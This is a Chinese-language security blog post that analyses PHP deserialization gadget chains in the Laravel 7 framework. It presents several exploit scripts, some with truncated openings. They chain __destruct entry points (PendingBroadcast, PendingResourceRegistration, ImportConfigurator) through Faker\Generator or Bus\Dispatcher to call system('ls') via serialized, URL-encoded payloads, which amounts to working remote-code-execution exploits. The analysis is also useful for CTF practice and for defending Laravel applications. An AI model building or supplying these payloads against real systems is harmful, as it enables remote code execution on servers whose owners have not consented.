Laravel 7 Deserialization Chain Summary - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

Laravel 7 Deserialization Chain Summary

一叶飘零 技术 2020-07-23 11:00:00
405358
收藏

导语:晚上闲着无聊,想到real world和ctf里非常喜欢出题考察的laravel,于是下了个7系列版本分析着玩一玩,梳理了一下现阶段可用的一些exp。

0x00 前言

晚上闲着无聊,想到real world和ctf里非常喜欢出题考察的laravel,于是下了个7系列版本分析着玩一玩,梳理了一下现阶段可用的一些exp。

0x01 切入点

网上冲浪看到一篇blog讲laravel 5.8的漏洞,感觉挺有趣的:

https://nikoeurus.github.io/2019/12/16/laravel5.8%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#Routes%E7%9B%AE%E5%BD%95

文章提供了一个切入点,即

Illuminate\Broadcasting\PendingBroadcast::__destruct

关键位置代码如下:

public function __destruct()
    {
        $this->events->dispatch($this->event);
    }

我们看到在__destruct函数中使用通过$this->events调用了方法dispatch,参数为$this->event。

这一位置在最新版中依然存在,同时我们可以发现$this->events和$this->event均为可控点,那么可以玩的花样就比较多了:

· 1.通过dispatch + 可控$this->events 触发__call方法

· 2.通过同名方法进行攻击

0x02 利用__call魔法方法

尝试搜寻一番__call魔法方法,发现一个切入点:

Faker\Generator::__call

关键代码如下:

public function __call($method, $attributes)
{
    return $this->format($method, $attributes);
}

跟进类内方法format:

public function format($formatter, $arguments = array())
{
    return call_user_func_array($this->getFormatter($formatter), $arguments);
}

此处比较开心的是,正好调用参数时,使用了类内方法getFormatter,我们查看该方法的关键内容:

public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
.......

显然我们可以使用数组进行bypass,例如:

$formatters['dispatch'] = xxx

如此一来即可任意RCE,我们编写exp:

formatters = $formatters;
        } 
    }
}
namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;
        public function __construct($event, $events)
        {
            $this->event = $event;
            $this->events = $events;
        }
    }
}
namespace{
    $a = new Faker\Generator(array('dispatch' => 'system'));
    $b = new Illuminate\Broadcasting\PendingBroadcast('ls',$a);
    echo urlencode(serialize($b));
}
?>

0x03 利用同名函数

全局搜索哪些类有dispatch方法,可以定位到关键类:Illuminate\Bus\Dispatcher。

我们跟进其dispatch函数:

public function dispatch($command)
{
    if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
        return $this->dispatchToQueue($command);
    }
        return $this->dispatchNow($command);
}

跟进dispatchToQueue函数:

public function dispatchToQueue($command)
{
    $connection = $command->connection ?? null;
    $queue = call_user_func($this->queueResolver, $connection);
    .......
}

不难发现有call_user_func,而此时$this->queueResolver和$connection均可控。

那么只要通过如下限制即可:

if ($this->queueResolver && $this->commandShouldBeQueued($command))

我们跟进commandShouldBeQueued:

protected function commandShouldBeQueued($command)
{
    return $command instanceof ShouldQueue;
}

发现只要是继承ShouldQueue接口的类皆可。

这里随便搜一下,发现5个类均可用,编写exp如下:

events = $events;
            $this->event = $event;
        }
    }
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver="")
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Illuminate\Events{
    class CallQueuedListener
    {
        public $connection;
        public function __construct($connection="")
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Broadcasting{
    class BroadcastEvent
    {
        public $connection;
        public function __construct($connection="")
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection;
        public function __construct($connection="")
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Notifications{
    class SendQueuedNotifications
    {
        public $connection;
        public function __construct($connection="")
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Queue{
    class CallQueuedClosure
    {
        public $connection;
        public function __construct($connection="")
        {
            $this->connection = $connection;
        }
    }
}
namespace{
    $a = new Illuminate\Bus\Dispatcher('system');
    $b = new Illuminate\Events\CallQueuedListener('ls');
//  $b = new Illuminate\Broadcasting\BroadcastEvent('ls');
//  $b = new Illuminate\Foundation\Console\QueuedCommand('ls');
//  $b = new Illuminate\Notifications\SendQueuedNotifications('ls');
//  $b = new Illuminate\Queue\CallQueuedClosure('ls');
    $c = new Illuminate\Broadcasting\PendingBroadcast($a,$b);
    echo urlencode(serialize($c));
}
?>

这5个exp异曲同工,均可使用。

0x04 举一反三(1)

那么对于诸如如上对象可控,对象调用方法参数可控的例子还有吗:

搜寻一番,可以发现关键类:Illuminate\Routing\PendingResourceRegistration

关键代码如下:

public function __destruct()
{
    if (! $this->registered) {
        $this->register();
    }
}

跟进类内方法register:

public function register()
{
    $this->registered = true;
    return $this->registrar->register(
        $this->name, $this->controller, $this->options
    );
}

此时我们发现:

$this->registered
$this->registrar
$this->name
$this->controller
$this->options

均为可控点,因此我们又有2条路可走:

· 1.使用__call魔法方法构造pop chain

· 2.寻找register同名函数构造pop chain

对于1的情况,其实直接复用之前的Faker\Generator类即可,我们很容易写出exp:

formatters = $formatters;
        } 
    }
}
namespace Illuminate\Routing{
    class PendingResourceRegistration{
        protected $registrar;
        protected $name;
        protected $controller;
        protected $options;
        public function __construct($registrar, $name, $controller, $options)
        {
            $this->registrar = $registrar;
            $this->name = $name;
            $this->controller = $controller;
            $this->options = $options;
        }
    }
}
namespace{
    $a = new Faker\Generator(array('register' => 'call_user_func'));
    $b = new Illuminate\Routing\PendingResourceRegistration($a,'call_user_func','system','ls');
    echo urlencode(serialize($b));
}
?>

同理由于这个call_user_func 2个参数均可控,因此可调用任意对象的任意方法,传入任意参数。可以衍变出无数种可能。因此不再赘述。

0x05 举一反三(2)

继续搜寻类似的方法,可以发现关键类:Symfony\Component\Routing\Loader\Configurator\ImportConfigurator:

关键代码:

public function __destruct()
{
    $this->parent->addCollection($this->route);
}

此处我们的对象和参数均可控,那么同样可以结合Faker\Generator类写出exp:

formatters = $formatters;
        } 
    }
}
namespace Symfony\Component\Routing\Loader\Configurator{
    class ImportConfigurator{
        private $parent;
        private $route;
        public function __construct($parent, $route)
        {
            $this->parent = $parent;
            $this->route = $route;
        }
    }
}
namespace{
    $a = new Faker\Generator(array('addCollection' => 'system'));
    $b = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($a,'ls');
    echo urlencode(serialize($b));
}
?>

0X06 后记

对于laravel的pop chain构造层出不穷,大概围绕以下几个思路展开:

· 1.__destruct内直接调用的函数存在风险

· 2.__destruct内调用方法的对象可控

          · 2.1 同名方法

          · 2.2 __call方法

· 3.拼接组合

          · 3.1 call_user_func等函数 只有对象和方法名可控,需要拼接1的chain

          · 3.2 call_user_func等函数 参数均可控,随意拼接chain

对于3的情况其实比较容易了,这里可以衍生出大量的chain构造,所以关键点还是找__destruct切入点。

最后求求,别再出laravel的题了。

本文为 一叶飘零 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务